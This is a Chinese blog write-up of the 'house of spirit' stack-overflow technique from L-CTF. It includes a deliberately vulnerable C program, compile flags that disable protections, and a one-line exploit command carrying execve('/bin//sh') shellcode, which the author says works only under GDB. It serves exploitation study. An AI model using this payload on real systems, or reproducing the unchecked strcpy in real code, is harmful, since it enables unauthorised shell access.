天天看点

【溢出利用技巧】house of spirit friendly stack overflow

学习了一下L-CTF中介绍的一个栈溢出利用技巧,记录一下。

样例代码如下:

<code>/*</code>

<code> </code><code>* blackngel's vulnerable program slightly modified by gb_master</code>

<code> </code><code>*/</code>

<code>#include &lt;stdio.h&gt;</code>

<code>#include &lt;string.h&gt;</code>

<code>#include &lt;stdlib.h&gt;</code>

<code>void</code> <code>fvuln(</code><code>char</code> <code>*str1, </code><code>int</code> <code>age)</code>

<code>{</code>

<code>  </code><code>char</code> <code>*ptr1, name[32];</code>

<code>  </code><code>int</code> <code>local_age;</code>

<code>  </code><code>char</code> <code>*ptr2;</code>

<code>  </code><code>local_age = age;</code>

<code>  </code><code>ptr1 = (</code><code>char</code> <code>*) </code><code>malloc</code><code>(256);</code>

<code>  </code><code>printf</code><code>(</code><code>"\nPTR1 = [ %p ]"</code><code>, ptr1);</code>

<code>  </code><code>strcpy</code><code>(name, str1);</code>

<code>  </code><code>printf</code><code>(</code><code>"\nPTR1 = [ %p ]\n"</code><code>, ptr1);</code>

<code>  </code><code>free</code><code>(ptr1);</code>

<code>  </code><code>ptr2 = (</code><code>char</code> <code>*) </code><code>malloc</code><code>(40);</code>

<code>  </code><code>snprintf(ptr2, 40-1, </code><code>"%s is %d years old"</code><code>, name, local_age);</code>

<code>  </code><code>printf</code><code>(</code><code>"\n%s\n"</code><code>, ptr2);</code>

<code>}</code>

<code>int</code> <code>main(</code><code>int</code> <code>argc, </code><code>char</code> <code>*argv[])</code>

<code>  </code><code>int</code> <code>pad[10] = {0, 0, 0, 0, 0, 0, 0, 10, 0, 0};</code>

<code>  </code><code>if</code> <code>(argc == 3)</code>

<code>    </code><code>fvuln(argv[1], </code><code>atoi</code><code>(argv[2]));</code>

<code>  </code><code>return</code> <code>0;</code>

编译命令如下:

<code>gcc hos.c -m32 -fno-stack-protector -mpreferred-stack-boundary=2 -mno-accumulate-outgoing-args -z execstack -o hos</code>

Ubuntu 14 Server里编译需要安装一下开发包,否则会报错sys/cdefs.h文件找不到:

<code>sudo</code> <code>apt-get </code><code>install</code> <code>libc6-dev-i386</code>

这里关键思路是:通过溢出修改局部变量的地址为栈中的一个地址,将伪造地址中的size字段设置成一个fastbin的有效大小,以便能成功将其free,后面的malloc将把此块内存重新申请并使用,snprintf函数再向其中写入数据,从而可以覆盖函数返回地址,最终getshell。

局部变量的内存分布如下:

<code>0xffffd03c     name</code>

<code>0xffffd05c     ptr2</code>

<code>0xffffd060     ptr1</code>

<code>0xffffd064     local_age</code>

样例测试命令如下:

<code>.</code><code>/hos</code> <code>`python -c </code><code>'import sys; sys.stdout.write("\x31\xc0\xeb\x14\x44\xd0\xff\xff\x6a\x0b\x58\x31\xf6\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\xcd\x80\x90" + "\x01\x01\x01\x68\xd0\xFF\xFF" + "\x30")'</code><code>` 48</code>

这里有点问题,通过GDB调试可以getshell,直接执行则报段错误:

<a href="http://s5.51cto.com/wyfs02/M02/88/7C/wKiom1f5oKrwldGtAAEhnF722jI013.png" target="_blank"></a>

<a href="http://s1.51cto.com/wyfs02/M01/88/79/wKioL1f5oKvyqjfnAAGPkvPhF5k550.png" target="_blank"></a>

本文转自fatshi51CTO博客,原文链接:http://blog.51cto.com/duallay/1859677 ,如需转载请自行联系原作者

继续阅读